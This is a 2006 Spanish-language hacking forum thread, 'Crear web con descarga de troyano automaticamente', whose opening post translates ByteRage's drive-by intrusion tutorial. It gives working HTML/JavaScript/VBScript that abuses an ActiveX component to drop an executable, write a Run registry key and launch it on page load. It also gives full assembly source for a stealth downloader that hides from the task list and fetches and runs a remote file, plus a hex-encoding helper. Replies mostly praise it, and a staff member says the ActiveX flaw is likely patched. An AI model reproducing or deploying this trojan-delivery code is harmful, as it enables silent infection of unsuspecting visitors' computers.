Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse. - Mayo 16, 2008, 06:21:02
Boton Buscar
Inicio Ayuda Calendario Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Hack Novato  |  Troyanos y virus (Moderadores: -Erick-, Angelus_7722)  |  Tema: Crear web con descarga de troyano automaticamente 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Crear web con descarga de troyano automaticamente  (Leído 2270 veces)
Jorkt2
Recien Llegado
*
Desconectado Desconectado

Mensajes: 42

.::: Jorkt :::.

fire_kevin1@hotmail.com
Ver Perfil
« en: Febrero 20, 2006, 09:23:23 »

INTRO
ByteRage hizo en el 2000 el EXE2HTML, que ponía un EXE (de 64K como máximo)en un HTML, que era extraido y ejecutado en el siguiente inicio (bajo sistemas windows). El programa estaba basado en el exploit escrito porGeorgi Guninski, y podía trabajar en todas las versiones de windows (con algunasadaptaciones) con Internet Explorer 5.0. Ahora ofrece unas técnicas mas avanzadasy versátiles para la intrusión en sistemas windows. Lo que vamos a hacer es lo siguiente: una página HTML que va a escalar privilegios al ser cargada , dejará un ejecutable de 8K (código asm) en el PC objetivo y crear una llave para ejecutarlo en el siguiente inicio (win9x/NT), puede ejecutarlo al cargar la página o en el siguiente inicio, el EXE se ocultará del administrador de tareas en los Win9x y esperará por una conexión, se bajará un archivo externo y lo ejecutará, todo ello en 5 segundos.

HTML EJEMPLO
Este ejemplo tratará de bajarse y ejecutar el
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion (versión antigua del notepad) pero no instantáneamente, esperará a detectar que el PC está conectado, ahora o tras el próximo reinicio Va a crear la siguiente llave: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\win386 esto es todo sobre el ejemplo, si no te confías en que sea inofensivo, puedes editarlo con cualquier editor de textos y estudiarlo tu mismo.

¿CÓMO FUNCIONA?
Examina este código (código facilitado por Phr0zen, código original de Guninski)

Citar
<HTML>
<BODY>
<APPLET code="com.ms.activeX.ActiveXComponent" WIDTH=0 HEIGHT=0></APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object is instantiated --><SCRIPT LANGUAGE="JAVASCRIPT">
<!-- hide for safe browsers

InterfaceObject=document.applets[0];
setTimeout("Upload()",1000);

function Upload() {
fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
InterfaceObject.setCLSID(fsoClassID);
fso = InterfaceObject.createInstance();
// windir = fso.getspecialfolder(0);
filename = "\\exploit.exe";
file = fso.opentextfile(filename, "2", "TRUE");
file.write(FileContent);
file.close();
Run();
}

function Run() {
regkey = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\win386"
WshShellClassID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
InterfaceObject.setCLSID(WshShellClassID);
wshShell = InterfaceObject.createInstance();
wshShell.regwrite(regkey,filename)
wshShell.run(filename,"6","TRUE");
}

-->
</SCRIPT>


<script language="vbscript">
<!-- hide for safe browsers
FileContent = array()
FileContent = "31323334"
FileContent = decode(FileContent)

Function Decode(Text)
For x = 1 To Len(Text) Step 2
thebyte = Chr(38) & "H" & Mid(Text, x, 2)
temptext = temptext & Chr(thebyte)
Next
Decode = temptext
End Function
-->
</script>
</BODY>
</HTML>

El código hace lo siguiente: íijate en "31323334", son valores hexadecimales (2 caracteres son un byte) que van a formar el binario de nuestro exe que se llama "\EXPLOIT.EXE" este archivo es creado por la función Upload(); . El comando wshShell.regwrite(regkey,filename), va a escribir la llave que va a ejecutar el "\EXPLOIT.EXE" en el próximo reinicio. El comando wshShell.run(filename,"6","TRUE");, es la línea que ejecuta el "\EXPLOIT.EXE" diréctamente.
Para poner valores hexadecimales para el archivo del exploit, se utiliza el siguiente Qbasic script, (cambia algunos nombres de archivo y pulsa SHIFT+F5 para ejecutarlo)

OPEN "EXPLOIT.EXE" FOR BINARY AS #1
OPEN "OUT.TXT" FOR OUTPUT AS #2
A$ = " "
WHILE NOT EOF(1)
GET #1, , A$
B$ = HEX$(ASC(A$))
IF LEN(B$) = 1 THEN B$ = "0" + B$
PRINT #2, B$;
WEND
CLOSE

Introduce este código en el interprete de QBasic y verás como EPLOIT.EXE quedará "codificado" a valores hexadecimales.
¿Cómo queremos que se vea el exe? vamos a hacer un win32asm downloader , bajatelo de
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion, este es parte del código:
;==============================================
; DOWNLOADER - [ByteRage] ,
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
www.byterage.cjb.net

;
; The program imports the WININET.DLL functions by itself, as I didn't
; want to get a *.LIB file for WININET.DLL from the net (like
; import32.lib)
;
; tasm32 -ml downloader.asm
; tlink32 -Tpe -c -x downloader.obj ,,, import32
;
; then add the following modifications :
; hiew downloader.exe, change byte at 15C from 03 to 01
; making it a native driver, so that it is only
; executable from windows but also STEALTH!
; (no console)
;
; - [ByteRage]
;
;===========================================
Citar
.386p
locals
jumps
.model flat, stdcall

extrn LoadLibraryA:PROC
extrn GetProcAddress:PROC
extrn GlobalAlloc:PROC
extrn GlobalFree:PROC
extrn Sleep:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn CloseHandle:PROC
extrn WinExec:PROC
extrn GetStartupInfoA:PROC
extrn CreateProcessA:PROC
extrn ExitProcess:PROC

; WSOCK32.DLL functions
extrn WSAStartup:PROC
extrn gethostname:PROC
extrn gethostbyname:PROC

extrn RegOpenKeyA:PROC
extrn RegDeleteValueA:PROC
extrn RegCloseKey:PROC

.data

;========================================
; DATA USED BY DOWNLOADER MAIN PROGRAM
;=========================================

; the following vars are used for hiding from the tasklist in win9x
lib db 'KERNEL32',0
imp db 'RegisterServiceProcess',0 ; used for hiding from tasklist
; I prefer loading the proc from the program, so
; that I can check if the proc is available
; because it is a win9x only thing

LoadLibraryLoc dd ?
GetProcAddressLoc dd ?

; used for intializing WINSOCKS
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
wsadata WSAdata ?

; used for checking for an internet connection
localhostname db 256 dup (0)
localhostnamelen EQU $-offset(localhostname)

; !!!! PARAMETERS !!!!
; the Download URL can be http/https/gopher/ftp whatever...
; !!!! SHOULD BE ADDED BY REST OF THE EXPLOIT CODE !!!!

DownloadURL db 32 dup ('PAR1')
;DownloadURL db '
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion ; <-- for testing
NewFileName db 32 dup ('PAR2')
;NewFileName db '/takeover.exe',0 ; <-- for testing
currdir db '/',0

UserAgent db '[ByteRage]',0 ; small insiders' joke
internethandle dd ?
internethandle2 dd ?

BufferStart dd ?
BytesRead dd ?
FileHandle dd ?

; the following vars are used for the WININET addresses
lib2 db 'WININET',0
impfunc db 'InternetOpenA',0
impfunc2 db 'InternetOpenUrlA',0
impfunc3 db 'InternetReadFile',0
impfunc4 db 'InternetCloseHandle',0
InternetOpenALoc dd ?
InternetOpenUrlALoc dd ?
InternetReadFileLoc dd ?
InternetCloseHandleLoc dd ?

StartupInfo dd 17 dup (0)
ProcessInfo dd 4 dup (0)

hKeyHKLM dd 080000002h
lKeyValue dd ?
section db 'Software\Microsoft\Windows\CurrentVersion\Run',0
subkey db 'win386',0

.code
;=====================================
; DOWNLOADER ENTRY POINT
;====================================

import proc ptrlib:dword, ptrimp:dword

push ptrlib
call LoadLibraryA
push ptrimp
push eax
call GetProcAddress
ret

endp

downloader:

Citar
; HIDE PROGRAM FROM THE WIN9X TASKLIST (JUST FOR THE HECK OF IT)

push offset lib ; now I need the LoadLibraryA & GetProcAddress
call LoadLibraryA ; for hiding it from the process list
push offset imp
push eax
call GetProcAddress
cmp eax, 0
je NoHiding ; hiding not supported (probably NT)
push 1 ; on error : skip
push 0
call eax
NoHiding:

; INITIALIZE WINDOWS SOCKETS : SHOULD BE VERSION # 1.1

initsocks:

push offset wsadata ; WSAStartup : check for Winsock 1.1
push 0101h
call WSAStartup
or eax, eax
jz winsock_found

jmp initsocks ; on error : try again

winsock_found:

TryAgain:

; WAIT FOR AN INTERNET CONNECTION (DOESN'T USE WININET.DLL)

WaitForConnection:
push localhostnamelen ; Check if there's an internet
push offset localhostname ; connection : get the local hostname,
call gethostname ; do a call to gethostbyname, then
or eax, eax ; read out hostent structure to compare
jnz WaitForConnection ; IP # with 127.0.0.1
push offset localhostname ; (technique also used by SubSeven)
call gethostbyname
or eax, eax
jz WaitForConnection ; on error : try again
   @   @1:
push eax ; read out hostent structure in a clean way
mov eax, dword ptr ds:[eax] ; even m$ doesnt follow the specs
mov ebx, dword ptr ds:[eax] ; in telnet.exe, so maybe this is too
pop eax ; much code
add eax, 4
cmp ebx, 0
jnz    @   @1
add eax, 4
mov eax, ds:[eax]
mov eax, ds:[eax]
mov eax, ds:[eax]
cmp eax, 0100007Fh ; 127.0.0.1
jnz StartDownload

push 10000d ; 10 sec. Delay
call Sleep

jmp WaitForConnection ; if IP # = 127.0.0.1 : try again (wait)

StartDownload:

; CREATE TRANSFER BUFFER

CreateBuffer:
push 04000h ; Get 16K space for transfer buffer
push 040h
call GlobalAlloc
cmp eax, 0
jz CreateBuffer ; on error : try again
mov BufferStart, eax

; DOWNLOAD THE FILE USING WININET.DLL

Again:
push offset impfunc
push offset lib2
call import
cmp eax, 0
jz Again ; on error : try again
mov InternetOpenALoc, eax
Again2:
push offset impfunc2
push offset lib2
call import
cmp eax, 0
jz Again2 ; on error : try again
mov InternetOpenUrlALoc, eax
Again3:
push offset impfunc3
push offset lib2
call import
cmp eax, 0
jz Again3 ; on error : try again
mov InternetReadFileLoc, eax
Again4:
push offset impfunc4
push offset lib2
call import
cmp eax, 0
jz Again4 ; on error : try again
mov InternetCloseHandleLoc, eax

push 0
push 0
push 0
push 0
push offset UserAgent
call InternetOpenALoc ; no error checking (pretty unlikely)
mov internethandle, eax

push 0
push 0
push 0FFh
push 0
push offset DownloadURL
push internethandle
call InternetOpenUrlALoc ; no error checking (pretty unlikely)
mov internethandle2, eax

Again5:
push 0
push 080h
push 2
push 0
push 0
push 0C0000000h
push offset NewFileName
call CreateFileA
cmp eax, -1
jz Again5
mov FileHandle, eax

NextBlock:
push offset BytesRead
push 04000h
push BufferStart
push internethandle2
call InternetReadFileLoc
cmp BytesRead, 0
jz copied
push 0
push offset BytesRead
push BytesRead
push BufferStart
push FileHandle
call WriteFile
jmp NextBlock
copied:

push internethandle
call InternetCloseHandleLoc

push internethandle2
call InternetCloseHandleLoc

push FileHandle
call CloseHandle

push BufferStart ; Free 16K space for transfer buffer
call GlobalFree

exec:

; EXECUTE PROGRAM

push offset StartupInfo
call GetStartupInfoA

; Sets STARTF_USESHOWWINDOW & wShowWindow flags
mov dword ptr [StartupInfo+02Ch],01h
mov word ptr [StartupInfo+030h],01h

push offset ProcessInfo
push offset StartupInfo
push offset currdir
push 0
push 04000210h
push 0
push 0
push 0
push offset NewFileName
push 0
call CreateProcessA

; KILL STARTUP REGISTRY KEY

push offset lKeyValue
push offset section
push hKeyHKLM
call RegOpenKeyA

push offset subkey
push lKeyValue
call RegDeleteValueA

push lKeyValue
call RegCloseKey

; AND LEAVE...

push 0
call ExitProcess

end downloader


Combinándolo todo tenemos un HTML de 19K por ahora

<HTML>
<BODY>
<APPLET code="com.ms.activeX.ActiveXComponent" WIDTH=0 HEIGHT=0></APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object is instantiated -->
<SCRIPT LANGUAGE="JAVASCRIPT">
<!-- hide for safe browsers

InterfaceObject=document.applets[0];
setTimeout("Upload()",1000);

function Upload() {
fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
InterfaceObject.setCLSID(fsoClassID);
fso = InterfaceObject.createInstance();
// windir = fso.getspecialfolder(0);
filename = "\\exploit.exe";
file = fso.opentextfile(filename, "2", "TRUE");
file.write(FileContent);
file.close();
Run();
}

function Run() {
regkey = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\win386"
WshShellClassID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
InterfaceObject.setCLSID(WshShellClassID);
wshShell = InterfaceObject.createInstance();
wshShell.regwrite(regkey,filename)
wshShell.run(filename,"6","TRUE"); // YOU CAN CONSIDER LEAVING THIS LINE OUT, TO MAKE IT MORE STEALTH
// DOWNLOADER WILL BE ACTIVE ON NEXT STARTUP (SIMILAR TO TROJAN)
// BETTER MAKE WINDOW STYLE VISIBLE ("6", "TRUE")
}

-->
</SCRIPT>


<script language="vbscript">
<!-- hide for safe browsers
FileContent = array()
'some hex bytes (maximum 64k = 32k executable), i'm going to expand this by
'using an array but I stil have to find something to create an vbscript array that's
'compatible with javascript (above)
FileContent=decode ("4D5A50000200000004000F00FFFF0000B80000000000000040001A000000
00000000000000000000000000000000...

... aquí va un chorizo...

0000000000000000000000000000

Function Decode(Text)


For x = 1 To Len(Text) Step 2
thebyte = Chr(38) & "H" & Mid(Text, x, 2)
temptext = temptext & Chr(thebyte)
Next
Decode = temptext
End Function
-->
</script>

</BODY>
</HTML>
Esto es el ejemplo que hay en el zip. Como ves los parámetros
del WIN32ASM se pueden adaptar. Tienes que mantener la
longitud de los parámetros fijados, de ese modo acortando la
cadena de relleno, cuando haces la dirección Download
URL/Target mayor.


 

ATENCIÓN


Este texto es una traducción libre del "Windows e-mail/www intrusion made easy"
creado por ByteRage (byterage   @yahoo.com /
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
www.byterage.cjb.net
)

tomado de
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
no me hago responsable ni de los códigos insertados en la página,
ni de los archivos incluidos ni del mal uso que se le de a los contenidos.
 
« Última modificación: Mayo 12, 2008, 10:35:17 por Angelus_7722 » En línea

<IMG SRC="
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion" ALT="jOrKt2">
*Tiger*
Colaborador
*****
Desconectado Desconectado

Mensajes: 807


<<*T_i _g _e_r* >>

316138035 marianonick_@hotmail.com
Ver Perfil Email
« Respuesta #1 en: Febrero 20, 2006, 10:12:04 »

muy bueno.... no sabia de esto
En línea

<<*T_i_g_e_r*>>
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1334


100% Quemero


Ver Perfil WWW
« Respuesta #2 en: Febrero 20, 2006, 05:59:07 »

mm no lo vi bien porque no l puedo probar hasta que me traigan el monitor de vuelta, pero parece muy interesante
En línea
guille221191
Colaborador
*****
Desconectado Desconectado

Mensajes: 581


DIOS NO JUEGA A LOS DADOS- A. Einstein


Ver Perfil Email
« Respuesta #3 en: Marzo 07, 2006, 11:45:43 »

Hola, me parece muy interesante.
la verdad es que no he entendido casi nada, me puedes decir que texto tengo que escribir para que X archivo se ejecute en mi web(
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion)HuhHuhHuhHuh??

GRACIAS

PD: Para el Xp no vale?HuhHuhHuhHuh??
« Última modificación: Marzo 07, 2006, 03:19:30 por guille221191 » En línea

[flash width=400 height=200]http://usuarios.lycos.es/guille221191/firma.swf[/flash]
sonik-100
Recien Llegado
*
Desconectado Desconectado

Mensajes: 10


sk8 for life

sonik-100@hotmail.com
Ver Perfil WWW Email
« Respuesta #4 en: Agosto 17, 2007, 04:08:06 »

mui buen tuto Grin graziaz x tu aporthazion
En línea

THE intherkambio mi IP x tu ERMANA Huh
T1Nk1!
Recien Llegado
*
Desconectado Desconectado

Mensajes: 21


Ver Perfil Email
« Respuesta #5 en: Mayo 11, 2008, 05:00:50 »

Mmmmm me interesa demasiado, arreglar el post por favor, no lo puedo ver Sad
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
www.marca-jaco.ya.st
<<>>JMB<<>>
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1927


si no stas dentro stas fuera


Ver Perfil
« Respuesta #6 en: Mayo 11, 2008, 05:02:51 »

Mmmmm me interesa demasiado, arreglar el post por favor, no lo puedo ver Sad
en eso se sta trabajando hubo perdidas de post importantes y se trabaja en eso
STAFF

pd: NO CREO QUE FUNCIONE YA SI ES el error que me imagino de activex ya fue corregido
salu2ts
« Última modificación: Mayo 11, 2008, 05:03:47 por <<>>JMB<<>> » En línea

Angelus_7722
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 917



Ver Perfil
« Respuesta #7 en: Mayo 11, 2008, 07:22:43 »

Post  recuperado   Wink

saludos
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Proxy Lainux
Miembro
*****
Desconectado Desconectado

Mensajes: 67



Ver Perfil Email
« Respuesta #8 en: Mayo 12, 2008, 11:09:05 »

wow.. lastima ke el ActiveX.. ya no funcione como antes... ero es interesante el codigo asm para la conexion socket, ejecutarlo y agregarlo al registro...

este muy bien esto.. nos vemos  Afro
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Hack Novato  |  Troyanos y virus (Moderadores: -Erick-, Angelus_7722)  |  Tema: Crear web con descarga de troyano automaticamente « anterior próximo »
Ir a:  
Novedades, Dudas, Comentarios Y Sugerencias, Top 100, Off-Topic, Revista E-Zine, Revista E-Zine, Sistemas operativos libres. , HacK GeneraL, Phreaking, Bug y Exploits, Networking & Wireless, Overclocking, Refrigeracion y demas, Hardware, Electronica Y Robotica, Hack para newbies, Todo Messenger, Troyanos y virus, Programacion, Programacion para webmasters, Software, Cracks & Serialz, P2p, Bittorrent, Elinks, Diseño Grafico, Juegos PC, Mp3, Multimedia, Peliculas Divx, Juegos, Humor y Adultos. (Diversion), Paginas Webs Recomendadas, Videos,


Zona-Musical Juegos online Juego Gratis10 Solucion Hosting Videos De Musica 1juegogratis Dragonjar
Noticias
 Juegos De Coche juegos gratis online juegos Los Foros De Sexe Gratuit Sexo Duro Tierra Messenger Trucos
Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC